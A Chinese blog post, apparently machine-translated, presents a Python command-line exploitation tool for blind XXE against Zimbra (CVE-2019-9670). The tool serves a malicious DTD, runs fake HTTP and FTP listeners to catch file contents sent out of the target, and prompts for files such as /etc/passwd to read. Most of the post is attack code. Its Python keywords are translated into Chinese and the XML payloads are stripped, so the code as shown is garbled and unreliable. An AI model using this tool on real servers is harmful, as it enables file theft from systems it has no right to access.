发布于2022年11月8日3年前 0x00 前言 当一个应用存在XXE注入漏洞,但不返回其响应中定义的任何外部实体的值时,就会出现BlindXE漏洞,这意味着无法直接读取服务器文件,而且比常规的XXE漏洞更复杂,更容易被利用。 在内网渗透中,理想的情况是在跳板的命令行下完成整个漏洞利用,所以我打算用Python实现一个完整的盲XXE利用平台,支持在命令行下运行。 0x01 简介 本文将介绍以下内容: 盲人XXE的基本知识 设计理念 开放源代码 0x02 blind XXE基本知识 参考链接: https://portswigger.net/web-security/xxe https://portswigger.net/web-security/xxe/blind 0x03 设计思路 1.漏洞验证 XXE利用率代码如下: ] 这里定义了一个外部实体。如果存在漏洞,服务器将向指定的Web服务器发送http请求。 Web服务器可以通过使用Python的SimpleHTTPRequestHandler来构建。详情请参考之前的文章《渗透工具开发——XSS平台的命令行实现》。 2.漏洞利用 XXE利用率代码如下: % xxe] 恶意. dtd是具体的利用代码,传输数据有以下两种方式。 (1)通过HTTP协议传输数据 恶意. dtd代码示例: ' % eval %渗出液; 实体文件参数用于保存文件内容。 实体eval用于向HTTP服务器发送文件内容,参数x的内容是通过GET方式读取的文件内容。 %是%的HTML实体代码 在程序实现方面,可以对GET请求进行判断,如果满足条件,提取参数x的内容。 (2)通过FTP协议传输数据 恶意. dtd代码示例: ' % eval %渗出液; 实体文件参数用于保存文件内容。 参数eval用于向FTP服务器发送文件内容,发送的FTP数据除了读取的文件内容外,还包括其他登录数据。 在程序实现方面,可以通过socket搭建一个简单的FTP服务器,对通信内容进行过滤,获取文件内容。 FTP服务器是参考xxer搭建的。优点是通过socket模拟搭建FTP服务器方便快捷。 但在方案实施中,需要做一些修改,需要注意的内容如下: 和字符串字节转换。 要消除重复数据,您需要将端口命令的返回状态代码设置为500。如果使用200,客户端将再次发送带有RETR的结果,导致最后出现重复数据。 要从FTP数据中提取文件内容,只提取带有CWD和RETR前缀的内容,可以使用代码print(data,end=' ')删除多余的回车和换行符。 0x04 开源代码 这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个BlindXE利用平台。 完整的代码如下: #Python3 导入系统 导入urllib3 导入请求 导入线程 导入插座 从线程导入线程 从http.server导入HTTPServer,SimpleHTTPRequestHandler URL lib 3 . disable _ warnings(URL lib 3 . exceptions . insurerequestwarning) filetoread=' ' xxeplatform_url=' ' xxeplatform_http_port=' ' xxeplatform_ftp_port=' ' XXERequestHandler类(SimpleHTTPRequestHandler): 定义log_message(self,format,*args): 返回 def do_GET(self): if self.path.endswith('file.dtd '): 打印('[ ]将DTD文件传送到' self.client_address[0]) if xxeplatform_ftp_port=='false ': xml=' ' ' ' % eval %渗出液;'''.格式(filetoread=filetoread,xxe platform _ URL=xxe platform _ URL,xxe platform _ http _ port=xxe platform _ http _ port) 否则: xml=' ' ' ' % eval %渗出液;'''.格式(filetoread=filetoread,xxe platform _ URL=xxe platform _ URL,xxe platform _ FTP _ port=xxe platform _ FTP _ port) self.send_response(200) self.send_header('内容长度',len(xml)) self.end_headers() self . wfile . write(str . encode(XML)) 如果?self.path中的requestfiledata=': 打印('[ ]成功读取文件内容。内容如下:') 打印(self.path[18:]) def do_POST(self): 打印(自身路径) post_data=self.rfile.read(长度)。解码() 打印(post_data) self.send_response(200) self.send_header('Content-type ',' text/plain ') self.end_headers() self.wfile.write() #参考:https://github。com/TheTwitchy/xxer/ 类FTP服务器线程(线程。线程): def __init__(self,conn_addr): 连接地址=连接地址 自我连接=连接 self.addr=addr threading.Thread.__init__(self) 定义运行(自身): self.conn.send(b'220欢迎!\r\n ') 打印('[ ]成功读取文件内容。内容如下:') 虽然正确: data=self.conn.recv(1024) 如果不是数据: 破裂 否则: 如果《RETR》以字节为单位解码(数据): print(bytes.decode(data)[5:],end=' ') 埃利夫' CWD '字节数。解码(数据): print(bytes.decode(data)[4:],end=' ') # print(' FTP:recvd"% s"%字节。解码(数据)) if 'LIST' in bytes.decode(data): 自我。连接发送(b ' drwxrwxrwx 1所有者组1 Feb 21 04:37测试\ r \ n ') self.conn.send(b'150打开/bin/ls的二进制模式数据连接\r\n ') self.conn.send(b'226传输完成\r\n ')。 elif '用户'以字节为单位解码(数据): self.conn.send(b '请输入331密码\r\n ') elif "端口"字节数解码(数据): self.conn.send(b'500端口命令错误\r\n ') 埃利夫' RETR '字节数。解码(数据): self.conn.send(b'500抱歉\r\n\r\n ')。 否则: self.conn.send(b'230请提供更多数据\r\n ') FTP服务器类(线程。线程): def __init__(自身,端口): self.sock=socket.socket(套接字.AF_INET,插座.袜子_流) self.sock.setsockopt(socket .插座,插座.SO_REUSEADDR,1) self.sock.bind(('0.0.0.0 ',port)) threading.Thread.__init__(self) 定义运行(自身): self.sock.listen(5) 虽然正确: th=FTP服务器线程(自身。袜子。接受()) th.daemon=True th.start() 定义停止(自我): self.sock.close() def send _ xxe有效负载(xxe平台_ URL,xxe平台_http_port,target_url): ' xxe_data=r ' ' ' % dtd ] aaaaafileContents ' ' ' '格式(xx平台_ url=平台_url,xx平台_http_port=平台_ http _ port) 标题={ 内容类型':'应用程序/xml ' } r=请求。post(' https://' target _ URL '/自动发现/自动发现。XML ',data=xxe_data,headers=headers,verify=False,timeout=30) if __name__=='__main__ ': if len(sys.argv)!=5: 打印('盲人_ xxe平台_ CVE-2019-9670。py’) 打印('支持通过超文本传送协议或文件传送协议协议接收结果。') 打印('用法:') 打印(' %s '%(sys.argv[0])) 打印('注意:') 打印('如果将的值设置为假的,将打开超文本传送协议模式,并通过超文本传送协议接收结果) 打印('例如) 打印(' % s 192。168 .1 .1 80假192。168 .1 .2“%(sys .argv[0])) 打印(' % s 192。168 .1 .1 80 21 192 .168 .1 .2“%(sys .argv[0])) sys.exit(0) 否则: xxeplatform_url=sys.argv[1] xxe平台_ http _端口=sys。argv[2] xxe平台_ FTP _端口=sys。argv[3] target_url=sys.argv[4] 打印('[*] HTTP服务器侦听% s“%(xxe platform _ http _ port)) httpd=HTTPServer(('0.0.0.0 ',int(xxeplatform_http_port)),XXERequestHandler) 处理程序thr=Thread(target=httpd。serve _ forever,args=()) handlerthr.daemon=True handlerthr.start() if xxeplatform_ftp_port=='false ': 打印('[*]通过超文本传送协议协议接收结果) 否则: 打印('[*] FTP服务器侦听%s' % (xxeplatform_ftp_port)) t _ ftpd=FTP服务器(int(xxe platform _ FTP _ port)) t_ftpd.daemon=True t_ftpd.start() 打印('[*]通过文件传送协议协议接收结果) 尝试: 而1: filetoread=input('输入要读取的文件路径(例如./etc/passwd):') send _ xxe payload(xxe platform _url,xxeplatform_http_port,目标_ URL) 除了键盘中断: 及格 代码可以在命令行下使用,支持HTTP和FTP进行数据传输。 HTTP数据传输模式示例: blind _ xxe platform _ CVE-2019-9670 . py 192 . 168 . 1 . 1 80 false 192 . 168 . 1 . 2 参数描述: 本地IP是192.168.1.1。 XXXE服务器dtd文件地址为http://192.168.1.1: 80/file.dtd。 HTTP数据传输地址是http://192.168.1.1:80/?requestfiledata=xxxx 目标地址是https://192.168.1.2。 FTP数据传输模式示例: 盲人_ xxe平台_ CVE-2019-9670 . py 192 . 168 . 1 . 1 80 21 192 . 168 . 1 . 2 本地IP是192.168.1.1。 XXXE服务器dtd文件地址为http://192.168.1.1: 80/file.dtd。 FTP数据传输地址为ftp://192.168.1.1:21。 目标地址是https://192.168.1.2。 0x05 小结 本文介绍了盲XXE平台的实现。要利用其他漏洞,我们只需要修改函数send_XXEPayload的内容。 留下回复
创建帐户或登录后发表意见